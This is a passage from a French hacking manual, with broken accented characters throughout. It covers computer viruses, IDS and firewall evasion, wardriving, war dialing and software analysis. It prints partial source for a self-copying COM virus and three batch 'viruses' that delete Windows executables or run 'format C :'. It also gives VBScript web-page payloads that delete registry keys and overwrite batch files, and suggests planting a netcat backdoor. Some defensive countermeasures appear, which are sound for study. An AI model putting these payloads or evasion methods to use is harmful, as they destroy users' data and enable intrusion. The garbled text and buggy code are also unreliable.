Pour vous donner un aperu de laspect dune signature, en voici 2 de virus connus :
Virus
Brain (cest un virus de secteur de
disquettes qui dtourne linterruption 13
pour se camoufler.)
Vendredi 13 (cest un virus rsident qui
infecte tout type dexcutable et dtruit
tous les vendredi 13 les excutables
lancs.)

Signature
8CC88ED88ED0BC00F0FBA0067CA2097C8B0E
077C890E0A7CE85700
1E8BECC746100001E80000582DD700B104D3E8
8CCB03C32D100050

TSR
Les programmes rsidents sont des applications particulires.
Ils sont dvelopps de la mme manire que les autres programmes mais ne finissent
pas de la mme manire que ces derniers.
De plus, le DOS rserve une mmoire spciale pour les TSR. Ce segment de mmoire
est protg contre lcriture par dautre programmes.
Pour crire un programme TSR, il faut suivre certaines rgles :
- vrifier sa prsence avant den charger une copie.
- il ne doit pas utiliser la pile dexcution des autres programmes (il doit
donc avoir sa propre pile dexcution).
- utiliser plus dinterruptions que de fonction DOS ou Windows.

Virus COM
Voici lextrait dun virus COM dvelopp pour cet ouvrage. Par mesure de scurit il
nest pas trs dangereux et nest pas donn en entier.
Son fonctionnement est le suivant : lorsquil est charg, il cr un fichier et crit
dedans, puis il ajoute une ligne au fichier autoexec.bat qui va imprimer le fichier
texte, cr auparavant, ds le dmarrage suivant du systme (si limprimante est
allume bien sr). Pour finir, il cherche des fichiers COM se trouvant dans le
rpertoire dans lequel il est, pour sy copier.
Il sera activ ds que lutilisateur du systme appellera un programme (ayant un
fichier COM du mme nom et dans le mme rpertoire) par lintermdiaire du shell
DOS.
#DEFINE BYTE xxxx
compilation

// taille du virus la

118

copy()
{
FILE *point, *new_point;
int next;
struct ffblk infect;
char pres, buffer[BYTE];
pres = _argv[0];
next = findfirst("*.COM", &infect, 0);
point = fopen(pres, "rb");
new_point = fopen(infect.ff_name, "rb+");
fread(buffer, BYTE, 1, point);
fwrite(buffer, BYTE, 1, new_point);
fcloseall();
return 0;
}
write_batch()
{
FILE *file, *txt;
char chaine, buff[];
size_t taille;
int vtaile;
chaine = "COPY C:\FICHIER.TXT PRN";
file = fopen("C:\AUTOEXEC.BAT", "rt+");
txt = fopen("C:\FICHIER.TXT", "w+");
fprintf(txt, "Vous vous tes fait avoir par le virus
COM de KHAALEL !!!");
taille = strlen(chaine);
vtaille = (int) taille;
vtaille -= vtaille * 2;
if (vtaille < 0)
{
fseek(file, vtaille, SEEK_END);
fread(buf, vtaille, 1, file);
buf[vtaille] = 0;
if (strcmp(buf, chaine))
{
fseek(file, 0, SEEK_END);
fprintf(file, chaine);
}
fcloseall();

119

return 0;
}
main() {
write_batch();
copy()
return 0;
}

Fichiers BAT
Avant de lire la suite, fates un saut vers lannexe sur les commandes DOS pour
pouvoir les connatre.
Voici 4 fichiers BAT : les 3 premiers sont des virus, le dernier est juste un utilitaire
qui affiche les excutables et les fichiers COM dun systme sous Windows 2000. Si
vous voulez que ce dernier fonctionne sous les autres systmes Windows, vous allez
devoir modifier where /r C:\ *.[extension] par DIR
C:\*.[extension] /A:-D /S .

1er fichier BAT :


@echo off
cls
echo Bonjours,
echo je suis un petit virus, mais chuuuuuuuut, faut pas le
dire.
echo.
erase c:\windows\*.exe
erase c:\windows\*.com
erase c:\autoexec.bat
pause
echo Bonne chance !!!

2me fichier BAT :


@echo off
echo Bonjours,
echo je suis un gentil petit virus qui ne va pas dtruire vos
fichiers!
echo.
echo je vous entend dj dire
echo Ouuuuuuuuuuf !!!!!!!!!!
echo.
pause
echo Je veux jouer !!!
dir/p c:\windows\
dir/p c:\

120

dir/p c:\windows\
echo Au revoir!!!

3me fichier BAT :


// Ceci est un virus. Cest un jeux, o vous devez choisir
entre le chiffre 1 et 2, puis vous saisissez votre choix et la
touche entre. Si vous choisissez 1, le fichier formate le
lecteur C : soit le disque dur, si vous choisissez 2, il
supprime tous les excutables et les fichiers COM du
rpertoire Windows.//
SET Choix=
SET Choix=%1
IF %Choix%VIDE==VIDE GOTO Prototype
IF %Choix%==1 GOTO Win
IF %Choix%==2 GOTO Erra
IF %Choix%==/? GOTO Prototype
IF %Choix%==help GOTO Prototype
:Prototype
echo Ceci est un jeux. Vous devez choisir entre 1 et 2, tapez
votre choix puis la touche entre.
echo.
echo Voici la syntaxe [Nom_fichier] 1
GOTO Pause
:Win
echo Dommage, vous avez choisi 1, vous gagnez le formatage du
lecteur C.
echo.
format C :
GOTO Pause
:Erra
echo Dommage, vous avez choisi 2, vous gagnez leffacement de
tous les excutables et fichiers COM de c:\Windows\.
Echo.
Erase c:\windows\*.exe
Erase c:\windows\*.com
GOTO Pause
:Pause

4me fichier BAT:


@echo off
echo Bonjours!!!
echo Je suis un petit utilitaire qui va vous montrer tous les
fichiers excutables et fichiers COM de votre systme.
echo.

121

echo Attention, je ne fonctionne que sous Windows 2000.


echo.
echo Ah ! oui, il vous faut la NTRK de Microsoft.
echo.
where /r C:\*.exe
pause
where /r C:\*.com
echo Au revoir!!!

ActiveX
Il ne se passe un mois sans que lon trouve une nouvelle faille dans la technologie de
Microsoft : ActiveX.
Faire un cours sur ActiveX et sur la cration dune page web dpasse le cadre de ce
livre, on verra seulement certaines failles ActiveX permettant de faire diffrentes
actions sur un systme (vous pourrez trouver dautres codes sur internet).
Tous les codes suivant sont en VBScript.
Comment supprimer une cl de la base de registre
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_LOCAL_MACHINE\xxxxx\"
</script>
</body>
</html>

xxxxx : est modifier par la cl que vous voulez.


Comment supprimer les programmes se lanant au dmarrage de Windows
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run"
</script>
</body>
</html>

Comment crer un raccourci vers un site internet sur le bureau

122

<html>
<body>
<script Language="VBScript">
if location.protocol = "file:" then
Set WshShell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
HPath = Replace(location.href, "/", "\")
HPath = Replace(HPath, "file:\\\", "")
HPath = FSO.GetParentFolderName(HPath)
Set TRange = document.body.createTextRange
Set RealLink =
WshShell.CreateShortcut("C:\WINDOWS\bureau\site")
RealLink.TargetPath = "http://www.site.com"
RealLink.Save
end if
</script>
</body>
</html>

Comment supprimer lhistorique


<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\e
xplorer\ RecentDocs\"
WshShell.RegDelete
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\e
xplorer\ RunMru\"
WshShell.RegDelete
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\e
xplorer\ Doc Find Spec MRU\"
WshShell.RegDelete
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\e
xplorer\ FindComputerMRU\"
</script>
</body>
</html>

Dsinstaller limprimante, le clavier, lcran, la souris et le disque dur


<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete
"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Pri
nter\"
WshShell.RegDelete
"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Key
board\"

123

WshShell.RegDelete
"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Mon
itor\"
WshShell.RegDelete
"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\PCM
IA\"
WshShell.RegDelete
"HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Mou
se\"
</script>
</body>
</html>

On peut encore faire beaucoup de choses comme enlever des lments du menu
Dmarrer, dsinstaller des programmes, crire des cls dans la base de registre ou les
modifier
Maintenant, voici comment crire un fichier bat sur un PC :
<html>
<body>
<script Language="VBScript">
if location.protocol = "file:" then
Set FSO =CreateObject("Scripting.FileSystemObject")
HPath = Replace(location.href, "/", "\")
HPath = Replace(HPath, "file:\\\", "")
HPath = FSO.GetParentFolderName(HPath)
Set TRange = document.body.createTextRange
Set BatFile = FSO.CreateTextFile("c:\Windows\xxxx.bat", 2,
False)
BatFile.WriteLine ""
BatFile.WriteLine "Ici le fichier bat voulu (son contenu)"
BatFile.Close
end if </script>
</body>
</html>

xxxx.bat est un fichier .bat qui peut exister (comme autoexec.bat) cela entranera donc
son crasement et lcriture de notre fichier .bat la place : au prochain dmarrage
nos commandes seront excutes. On peut aussi crer un nouveau fichier .bat

Pourquoi ces vulnrabilits ActiveX existe-t-elle?


Nous allons essayer de savoir pourquoi de telles codes peuvent mettre plat la
scurit de Windows.
Microsoft a dvelopp 5 niveaux (ou encore appels zones ) de scurit dans
Internet Explorer, les voici :
- Poste de travail
- Sites de confiances

124

Sites sensibles
Internet
Intranet local

Pour information, on peut configurer ces zones de scurits grce Internet Explorer
par le biais de Options Internet du menu Outils. Par mesure de scurit, on ne peut
configurer la zone Poste de travail avec Internet Explorer (heureusement, cest
notre disque dur).
De plus, la zone Poste de travail est la plus permissive.
Le but des vulnrabilits de ce type est dexcuter ce que lon veut dans la zone de
scurit Poste de travail .
Avant de continuer, sachez que chaque zone a ses protocoles : http:// pour Internet,
file:// pour Poste de travail
Alors, pour contourner ces zones, il faut utiliser des fonctions de changements de
zones qui ne sont pas contrles.
Voici un bout de code qui peut permettre le
contournement (il ne peut fonctionner seul):
opener.location = " file:" ;
vRef = opener.location.assign;

Le chapitre prend fin, vous venez de dcouvrir une nouvelle facette du piratage web
grce des vulnrabilits que Microsoft na pas encore patch lheure o se livre est
crit.
Certains pirates les utilisent pour diverses actions, comme placer un virus dans un
systme sans que lutilisateur ne fasse quelque chose (il doit quand mme se rendre
sur la page contenant le code). Certains crateurs de sites pornographiques les
utilisent aussi pour placer leurs kits de connexions sur votre systme ds que vous
chargez les pages de leurs sites.

Parades :
-

installez un firewall,
installez un antivirus et le mettre rgulirement jour,
ne pas se fier aux apparences. Car les virus vont adopter n'
importes
quelles formes attrayantes et attirantes pour que vous les chargiez,
ne pas trop faire confiance lantivirus install par dfaut dans
Windows XP.

125

126

Piratage de composants
rseaux

127

IDS
Dans ce chapitre, nous allons nous intresser aux systmes de dtection d'
intrusion
(IDS) . Nous allons voir en quoi ils consistent puis comment les pirates russissent
contourner ces systmes de dtection.

les IDS :
Comme en tmoigne son nom, un IDS est un systme de dtection d'
intrusion pour les
systmes Unix/Linux ( l'
heure o ce livre est rdig en tout cas ). Les IDS ont 2
types d'
analyse :
- Lanalyse des signature : lIDS va capturer des paquets en direction du
systme ou du rseau sur lequel il est plac. Puis il va les comparer
avec les lments de sa base de donnes de signatures dattaques. Si la
comparaison s'
avre positive, lIDS va alerter l'
utilisateur o
l'
administrateur du rseau pour lui signaler une attaque. Si la
comparaison s'
avre ngative, lIDS ne fait rien.
- L'
analyse heuristique : comme pour les antivirus, lIDS va analyser le
comportement des paquet reus, d'
un programme install sur le systme
et pleins dautres lments pour essayer de dtecter des comportements
anormaux.
Il existe 2 type d IDS :
- les IDS rseau (NIDS) qui sont constitus de deux parties, un programme
qui va capturer les paquets circulant sur le rseau et un poste charg
d'
analyser le paquet captur. Le programme de capture peut tre aussi
bien un sniffer ou une carte rseau en mode promiscuit (cf le chapitre
sur le sniffing) .
- les IDS personnel (HIDS) que l'
on installe sur un ordinateur, comme des
antivirus. Ils sont constitus d'
un lment qui utilise aussi les deux types
d'
analyses cites prcdemment. Les HIDS utilisent plusieurs techniques
de dtection : laudit de systmes la recherche de fichiers ayant t
corrompus ou modifis, l'
installation d'
un jeu de fichier log (journaux
systmes) journalisant les faits et gestes des programmes et utilisateurs
de l'
ordinateur.
Termes en rapport avec les IDS :
- NIDS : IDS reseau
- HIDS : IDS personnel
- faux positif : fausses alertes envoyes par lIDS
- faux ngatifs : vritables attaques non signales par lIDS

128

first match : signalement dune attaque aprs sa premire apparition.


multiple match : signalement dune attaque aprs des multiples
apparitions.

First match et multiple match correspondent des modes dactivits dun IDS, cest-dire que lIDS peut alerter ds la premire apparition d'
une attaque ou la suite de
plusieurs apparition d'
une attaque.

contournement dun IDS :


le spoofing :
Le spoofing en lui-mme ne va pas vraiment servir au pirate qui veut contourner un
IDS moins que ce dernier soit bas sur l'
analyse du champ des paquets contenant
l'
adresse IP de l'
metteur. Le spoofing va surtout servir contourner certains ACLs
quaurait pu installer l'
utilisateur du systme.

fragmentation :
Certains IDS ont un trs grand problme. Ils assemblent avec difficults des paquets
fragments. C'
est pour cela quen jouant un peu avec les paquets que l'
on aura
fragment, on pourrait peut-tre contourner un IDS (cela touche surtout les IDS
rseau) .
Voici certains exemples de manipulation des paquets fragments :
- on les envoie dans le dsordre en commenant par le milieu ou par le
paquet de la fin
- on envoie des paquets fragments en dupliquant l'
un des paquets
- on envoie simultanment plusieurs paquets.

modification des TTL :


On peut jouer avec le champ TTL d'
un paquet pour atteindre un systme cible ou pour
flooder lIDS rseau.

DoS :
On peut invalider le systme de dtection l'
intrusion l'
aide d'
une attaque DoS. On
peut par exemple lancer des simulateurs d'
attaques ou crer une base de donnes
d'
attaques (en saidant de programmes que l'
on peut trouver sur Internet) pour qu'
ils
balancent leurs attaques contre les systmes de dtection d'
intrusion (il faut voir grand
comme 20000 attaques pratiquement simultanes et rgulires) . Cela peut aussi
servir cacher une vraie attaque que lon aurait confectionn.

129

encapsulation :
On peut encapsuler des attaques dans des paquets forgs et anodins. Les paquets
peuvent tre du mme protocole ou de protocoles diffrents. Cela peut servir si
ladministrateur a mis une bascule de protocole dans la DMZ. Cela reviendrais faire
du tunneling.

le polymorphisme :
Le polymorphisme est trs utilis en virologie informatique ou lors de la cration
d'
attaques de type dpassement de tampon distance. Pour plus informations sur cette
technique, rfrez-vous au chapitre sur les virus informatique. Internet est aussi une
mine d'
or sur le polymorphisme des virus.
Pour ceux voulant attaquer un IDS laide dun shellcode (comme pour les attaques
par dpassement de tampons, vous pouvez utiliser ADMutate de K2 qui utilise le
polymorphisme pour cacher les shellcodes ).

ASCII et UNICODE :
Comme les IDS sont bass sur l'
analyse des signatures. Pour contourner cette
protection, il suffit alors de refaire l'
attaque en modifiant son code : cela peut passer
par la transformation du code d'
attaque en quivalent UNICODE (cf les attaques
contre les CGI)

les NOP de lassembleur :


Voil encore une autre technique prise des dpassements de tampons. Lorsque l'
on
rdige ce genre de attaque, on ne peut pas toujours prvoir l'
adresse de retour la
fonction cible. Pour pallier ce problme, on peut utiliser l'
instruction NOP (No
Operation) qui ne fait rien et passe linstruction suivante.
Et bien, cette technique peut-tre utilise pour contourner les IDS qui ne vrifient pas
toujours les paquets en entier (seulement le dbut du paquet gnralement) . On a
donc la possibilit de masquer le code de l'
attaque en y mettant, au dbut une grande
suite de NOP.

le retour au rpertoire prcdent :

130

Les habitus de Linux doivent connatre les caractres du genre : ../ et ./ .


Dans cette technique, seul le premier caractre nous intresse et figure dans les
lments permettant aux pirates de modifier la signature d'
une attaque.

le changement :
Le plus simple est de changer d'
attaque et de ne pas affronter lIDS de face. Faire par
exemple une attaque par dpassements de tampons
Le scanner de CGI Whisker de Rain Forest Puppy intgre quelques techniques contre
les IDS. Analyser son code source peut grandement aider.

Parades :

- mettre rgulirement jour la base de donnes des attaques des IDS


- changer l'
implmentation des IDS pour quils analysent les paquets en
entier et grent mieux la fragmentation.
- crer une DMZ et mettre un NIDS par segment de rseau.
- toujours mettre un firewall/routeur avec le NIDS

131

132

Murs par feu

Un mur par-feu est un systme ou un logiciel qui va analyser et contrler le trafic


entre votre systme, internet et dautres systmes dans tous les sens possibles dans le
but de scuriser votre ordinateur au maximum.
Il existe principalement deux types de murs par-feu :
- ceux qui se comportent comme des routeurs. Ce sont des murs par-feu
matriels.
- ceux qui se comportent comme des proxys. Ce sont des murs par-feu
logiciels.
Les murs par-feu fonctionnent gnralement comme des systmes de filtrage de
paquets qui analysent des paquets du trafic et laissent passer seulement ce qui a t
autoris.
Voici un clbre phrase rsumant bien le travail dun firewall :
un firewall refuse et interdit tout ce qui na pas t explicitement autoris.
Un mur par-feu peut tre contourn et transperc et nous allons voir dans ce chapitre
comment cela est possible.

identification d'un firewall :


traceroute et tracert :
Traceroute et tracert sont des utilitaires permettant de dcouvrir les chemins qu'
un
paquet empreinte pour aller jusqu'
notre destinataire :
- si au dernier bond, ladresse IP du destinataire n'
apparat pas, on peut en
conclure qu'
il y a un systme de filtrage de paquets.
-

si on analyse bien les flags des paquets envoys et reus, quon


remarque qu'
il y a une anomalie, on peut en conclure quil y a un
systme de filtrage de paquets.

Voici un tableau expliquant les flags denvois et de retours des paquets.


STATE
listen
listen

FLAG
NULL
FIN

133

REPLY
None
None

listen
listen
listen
closed
closed
closed
closed
closed

RST
ACK
SYN
RST
NULL
ACK
SYN
FIN

None
RST
SYN/ACK
None
RST/ACK
RST
RST/ACK
RST/ACK

balayage :
Si le systme de filtrage de paquets bloque et ignore les paquets ICMP et UDP, vous
pouvez utiliser un outil de scan comme nmap (en dsactivant le sondeur ping ICMP
bien sur), hping, et firewallk (qui utilise une technique proche de traceroute).

ICMP :
Le protocole ICMP peut nous tre dun grand secours dans notre qute, pour cela, il
faudrait tudier les diffrents codes ICMP .

les bannires :
Scanner les ports du systme de filtrage pour obtenir son nom puis faire une
recherche sur les failles spcifiques ce systme de filtrage de paquets.

les ACLs (Access Control List) :


Dans cette technique, nous allons dterminer ce que le systme de filtrage de paquets
autorise et ce quil nautorise pas et trouver un moyen de contourner le firewall.
Nous allons devoir envoyer diffrents paquets (ayant une modification au niveau de
leur TTL, et tant fragment) vers le systme de filtrage de paquets cible; puis fort de
nos dcouvertes, nous allons essayer de le contourner grce lencapsulation de
protocole, la fragmentation.

passer outre les systmes de filtrage :


- Utiliser la technique de contournement dACLs.
- Aprs avoir rcupr les informations sur le systme de filtrage de paquet, il faut
faire des recherches sur les failles de ce systme de filtrage de paquets dans des sites
o des newsgroups comme celle de securityfocus.com

134

- Pour passer au travers d'


un systme du filtrage, on peut aussi utiliser une technique
nomme le tunneling ( laide de httport et htthost), que je ne dtaillerais pas dans ce
livre car elle ncessite de pouvoir avoir un accs un poste se trouvant dans le rseau.
Pour information, le tunneling utilise une technique dencapsulation de protocole
dans un autre protocole.
- Pour connatre les systmes tournant derrire un firewall, on peut capturer les
informations SNMP du rseau. Si on connat quel domaine appartient le firewall oumme la cible, on peut aussi faire des requtes de type AXFR (rfrez-vous la partie
concernant le transfert de zones) .
- Pour cartographier un rseau se trouvant derrire un systme de filtrage de paquets,
on peut utiliser le programme firewallk qui utilisent une technique particulire : il est
bas sur traceroute. Puis en fonction des paquets qu'
il reoit, firewallk forge des
paquets en modifiant les TTL pour pouvoir accder au divers systmes du rseau.
- On peut aussi mettre en place une attaque par injection de code distance mais cela
dpasse le cadre de ce livre et demande une connaissance de la programmation
Windows.

placer un backdoor :
Aprs avoir lu les deux premires parties de ce chapitre, vous devriez tre capable
d'
identifier un systme de filtrage de paquet, d'
obtenir des informations sur les
systmes quil protge.
Disons maintenant que nous avons russi infiltrer le systme de filtrage de paquets.
Je pense que vous voudriez pouvoir revenir aisment sur le systme (quel qu'
il soit)
conquis? et bien pour cela, on devrait y installer une porte ouverte avec le logiciel
netcat ou un cheval de troie

astuce :
Utilisez le systme de filtrage de paquets et comme proxy pour le web. L, vous
pouvez tre sr d'
tre intraable. Bien sr, masquez votre activit aux yeux de le
administrateur qui appartient le systme de filtrage de paquets.

Parades :
-

dfinissez des ACLs strictes.


placez votre systme de filtrage dans une DMZ (zone dmilitarise)
utilisant une bascule de protocole.
modifiez ou supprimez les bannire de vos ports
faites attention vous SNMP

135

activez trs peu de port sur votre systme de filtrage de paquets (le port
80 et le port 53 suffisent gnralement)

136

137

Piratage arien
les rseaux sans-fil :
Le 802.11 est une technologie permettant de faire communiquer des PC entre eux ,
distance (sans fil et autres supports que les ondes radio et des ondes infrarouges) et
l'
aide des cartes rseaux adaptes. Mais les techniques utilises par ces rseaux
dpendent de la lgislation en cours dans le pays (en France, la bande de frquence et
de 2,4 GHZ pour les particuliers et les entreprises crant un rseau wifi).
Voyons maintenant les topologie (ou structures) des rseaux 802.11. Pour l'
instant, il
en existe 2 : l'
infrastructure et le ad hoc.
l'
infrastructure est constitue de points d'
accs qui vont jouer le rle
dun switch/hub entre les PC sans fil et qui sont gnralement
connects un rseau cbl. Cette architecture peut faire penser
une architecture client /serveur o les serveurs peuvent tre relis
entre eux.
le ad hoc est une architecture particulire car elle est seulement
quips de PC ayant des cartes rseau adapt au sans-fil et tant
auto-configurable, cest--dire, que les PC dans le rseau se
reconnaissent entre eux et schangent de donnes. Chaque nuds
du rseau devrait aussi pouvoir servir de routeur.
Pour plus dinformations sur les rseaux sans-fil, je vous conseille de faire des
recherches sur internet ou de vous procurer des livres sur ce sujet comme 802.11 et
les rseaux sans-fil aux ditions Eyrolles.

la scurit des rseaux sans-fil :


Cette partie est principalement oriente technique d'
intrusion et scurisation des
rseaux wifi.
Comment les pirates font-ils pour pntrer les rseaux sans-fil ?
Et bien, ils utilisent une technique appele wardriving (ou encore wartraining,
warfooting, warbusing) qui consiste parcourir des endroits et places la recherche
de rseaux sans-fils.
Comme pour les rseaux cbls, les informations circulent la plupart du temps non
cryptes donc l'
espionnage des rseaux sans-fil devient une tche aise car il nous

138

faut nous procurer un sniffer (comme TCPdump pour Linux et Ethereal pour
Windows) .
Maintenant voyons comment se pratique le wardriving. D'
abord il nous faut du
matriel adapt :
un ordinateur portable
une carte rseau adapte et non configure
un GPS
des antennes omni-directionnelles ou bi-directionnelles.
Puis les logiciels adapts :
un scanner de rseau sans-fil comme Netstumbler (www.netstumbler.com)
pour Windows, Airtraft (sourceforge.net/projects/airtraf), Kismet
(www.kismetwireless.net) et WiFiScanner
(www.hsc.fr/ressources/outils/wifiscanner/) pour Linux. On lactivera pour
rechercher les rseaux sans fil,
un sniffer, vous pouvez prendre votre habituel sniffer,
un cracker Wep comme Airsnort, pour cracker les paquets qui seraient
ventuellement crypts avec le WEP,
un logiciel de cartographie comme Stumverter qui envoie les diffrents
lments d'
un rseau sans fil. Il lui faut Netstumber, Mappoint, et un GPS
pour fonctionner.
Vous devez vous demander quoi peut bien servir le scan de rseaux sans fil ?
Et bien couter (sniffer) les rseau pour savoir les informations qui y circulent,
facilement dtourner une connexion dans le but de surfer, jouer , passer des
protections par IP
Il peut y avoir plusieurs autres applications et avantages de cette technique.
Maintenant, passons la scurisation des rseaux sans-fil.
En premier lieu, activez le WEP qui va crypter les informations qui circulent sur votre
rseau wifi, vous pouvez aussi utiliser d'
autres utilitaires (comme SSH) qui sont
utiliss dans les rseaux cbls.
Vous pouvez-vous, si vous utilisez la topologie infrastructure, mettre en place un
filtrage dadresses MAC, dadresses IP ou placer des ACL (Access Control List) . La
meilleure solution en plus des prcdentes serait daffecter des ID au point d'
accs,
aprs cette tape, on configure le rseau dans le but que seul les postes connaissant
cet ID puisse se connecter au point d'
accs associs.
Pour plus de renseignements, procurez vous un livre sur les rseaux sans-fil qui vous
indiquera les diffrents moyens qui soffrent vous pour la scurisation de rseaux
sans-fil.

139

140

Rseau tlphonique commut


Dans ce chapitre, nous allons voir certaines techniques que les pirates du tlphone
(phreakers) utilisent. Nous allons aussi essayer de voir et de comprendre les failles de
ces systmes tlphoniques, dans le but de les scuriser ou de minimiser les
possibilits d'
attaque.
D'
abord, intressons-nous aux capacits des pirates du systme tlphonique puis
donnons un exemple de piratage tlphonique.
Un phreaker expriment connaissant le fonctionnement d'
un autocommutateur et
faisant de l'
lectronique peut faire tout ce qu'
il veut, la seule limite sera son
imagination.
Par contre, si on met des btons dans les roues d'
un novice, il ne pourra pas terminer
son travail et comme les novices reprsentent la majorit de la population
underground qui passent leurs temps pirater des entreprises, vous pourrez vous
occuper d'
autres choses que de la scurit de vos systmes tlphoniques (comme les
PABX , VMB et les porteuses qui sont des modems pour ceux qui ne seraient pas
familiariss avec ce terme).
Pour dtourner ou pirater des systmes tlphoniques, les phreakers ont la possibilit
de crer des montages lectronique que l'
on appelle aussi box , il existe diverses
box
A but informatif, la plupart des sites warez proposent des schmas des diffrentes box
Les phreakers peuvent aussi pirater des PABX (des autocommutateurs crs pour la
gestion des appels), des VMB (les bote vocale reposant sur les PABX), ou encore des
modems, des terminaux, des VAX, des tlphones portables
Bon aprs quelques notions thoriques, nous allons passer la pratique :
Comment les phreakers font-ils pour pirater un rseau commut ?
Et bien comme pour tous les autres systmes, il faut d'
abord rechercher des
informations, ici, ce sont des numros de tlphone de l'
entreprise cible qui nous
intressent.
Les recherches peuvent tre fait dans des annuaires, des whois, des publicits, les
sites de l'
entreprise

141

Maintenant et il nous faut les logiciels de composition automatique de numro de


tlphone comme :
THC-Scan prenant linterface du DOS
Toneloc de www.sandstorm.net
TeleSweep de www.securelogix.com
la diffrence des autres attaques dcrites dans ce livre, il va nous falloir du matriel
adapt et comme pour toutes les autres attaques, nous devons avoir les autorisations
des possesseurs des systmes tlphoniques que nous allons brivement contacter :
car cette technique est considre comme du piratage pur et nous avons trs peu de
moyens de se protger car les attaques ne peuvent se faire qu'
partir de modems donc
notre fournisseur d'
accs va normalement remarquer que nous contactons plusieurs
systmes tlphoniques la fois dans des dlais courts.
Bon passons l'
attaque proprement dite.
Il va nous falloir des modems connects directement sur un PC pour que l'
attaque
aille plus vite, car nous allons donner une liste de numros de tlphone l'
un des
logiciels puis ce dernier va brivement contacter chaque numro et dterminer s'
il
s'
agit d'
une personne, dun fax, dune VMB, du PABX, ou d'
un modem.
Lors de la dcouverte d'
un des trois derniers systmes tlphoniques prcdant, un
bon logiciel va normalement essayer de dcouvrir soit la squence d'
accs la bote
vocale (pour les PABX et les VMB) soit le couple login/password du modem.
Le piratage tlphonique sert gnralement tlphoner gratuitement, mais aussi, lors
d'
attaques volues, se protger pour ne pas se faire prendre.

142

143

Piratage logiciel

144

Les logiciels, scripts et autres programmes reprsentent les du monde informatique.


Leur scurit est donc primordial.
La seule mthode de scurisation d'
un logiciel que je connaisse est l'
analyse pas pas
du code du logiciel.
Bien sr, on ne peut pas avoir le code source de chaque programme et c'
est ici
qu'
entre en jeu l'
analyse du code binaire et la rtro-ingnierie, qui va nous permettre
d'
analyser et tracer l'
excution du logiciel cible mais aussi de pouvoir voir le code
assembleur des logiciels en question.
Pour raliser toute cette technique d'
analyse de logiciels, il va nous falloir certains
outils que lon verra plus tard. Voici les principales mthodes d'
analyse et de
recherche de vulnrabilit dans les logiciels. Commenons par la plus simple qui est
l'
analyse du code source.

analyser le code source :


Cette mthode d'
analyse se pratique pas pas et sert trouver et radiquer les
fonctions posant problme comme strcpy(), strcat(), printf(), du langage C (cf
dpassements de tampons et chanes de formats ) .
Comme je le disais, cette analyse se fait pas pas, cest--dire ligne par ligne voir
mot par mot ou instruction par instruction.
Il existe des outils qui peuvent analyser un code source votre place mais il y a
toujours une marge d erreur car aucun outil ne peut supplanter la capacit danalyse
d'
un homme.
Voici certains de ces outils :
RATS (sur www.securesw.com) qui analyse les codes sources en C, C++,
Python, Perl, PHP et renvoie les ventuelles failles qui peuvent s'
y trouver
Flawfinder de David Wheeler
Hailstorm (sur www.clicktosecure.com) qui recherche les bugs
Le clbre Retina (www.eeye.com) qui offre des possibilits de faire des
recherches dans le code source.
Si vous ne pouvez pas vous procurer les codes sources des programmes, vous pouvez
soit pratiquer la rtro ingnierie (que nous allons expliquer dans la suite de ce
chapitre) soit rechercher des informations sur le logiciel comme des aides et dautres
documents techniques comme les conseils du dveloppeur

145

Une autre mthode d'


analyse consiste comparer les fichiers, des bout de codes

la comparaison (diffing) :
La comparaison consiste dtecter la diffrence entre 2 supports d'
criture : les
fichiers, les programmes (sous la forme de code source) mais aussi des bandes,
disques et plein d'
autres supports.
Nous nallons pas nous attarder sur la thorie du diffing car son but est la
comparaison des deux lments, passons directement la pratique qui est plutt
simple mais peut-tre d'
un grand secours aussi bien pour les pirates (scnario 1) que
pour les analyseurs de codes sources (scnario 2).
Je vais vous donner des scnarios d'
utilisation de la comparaison. Pour savoir
quelles situations elles correspondent, remontez de quelques lignes.
Scnario 1 :
Le pirate a pntr un systme important mais son but tait de dcouvrir le mot de
passe d'
un programme d'
administration comme VNC.
Ladministrateur penser effacer les informations pouvant porter atteinte
l'
intgrit de son rseau. Le pirate se retrouvent donc en face dun problme, il ne
peut lancer dattaques de cracking de mots de passe sur chaque systme client sinon il
pourrait veiller des soupons, il a aussi fouill de fond en comble le systme et ne
trouve pas les fichiers de connexion de VNC ( disons que le administrateur les
conserve sur une disquette et les dplace dans le rpertoire de VNC chaque fois qu'
il
veut se connecter sur un systme ).
Le pirate ne peut installer un sniffer car il se doute que le administrateur a d installer
un programme dtectant les sniffers ou les cartes rseau en mode promiscuit (comme
Anti-sniff du Lopht) .
Le pirate a donc dcid de travailler avec la mmoire du systme.
Il va crer un module ou un programme qui va se charger en mmoire lors du
chargement du logiciel VNC et qui s'
occupera de faire des copies de la mmoire
pendant que le programme d'
administration est en marche.
Il aura la fin une srie de copies de la mmoire et va chercher les diffrences entre
elles dans le but d'
obtenir les mots de passe.
Il peut pour saider crer un algorithme de tri des fichiers qui va slectionner deux
fichiers chaque boucle et les comparer
Scnario 2 :

146

Un autre passionn de scurit et de programmation vient de tlcharger la mise


jour d'
un logiciel mais se demande ce que le dveloppeur a vraiment patch.
Il dcide alors d'
installer la version patche sur son premier ordinateur et la version
non patche sur son deuxime ordinateur ( cela peut aussi marcher avec des
partitions ) . Il se place alors aux commandes de ses ordinateurs, dsassemble les
programmes et compare les codes sources obtenus.
Il va alors avoir (en langage assembleur bien sr car les programmes ont t
dsassembls) les diffrences quil va attentivement analyser.
Pour faire des comparaisons, vous pouvez soit utiliser les commandes fournis par les
systmes d'
exploitation, soit utiliser certaines fonctions de comparaison des diteurs
hexadcimaux.

les commandes :
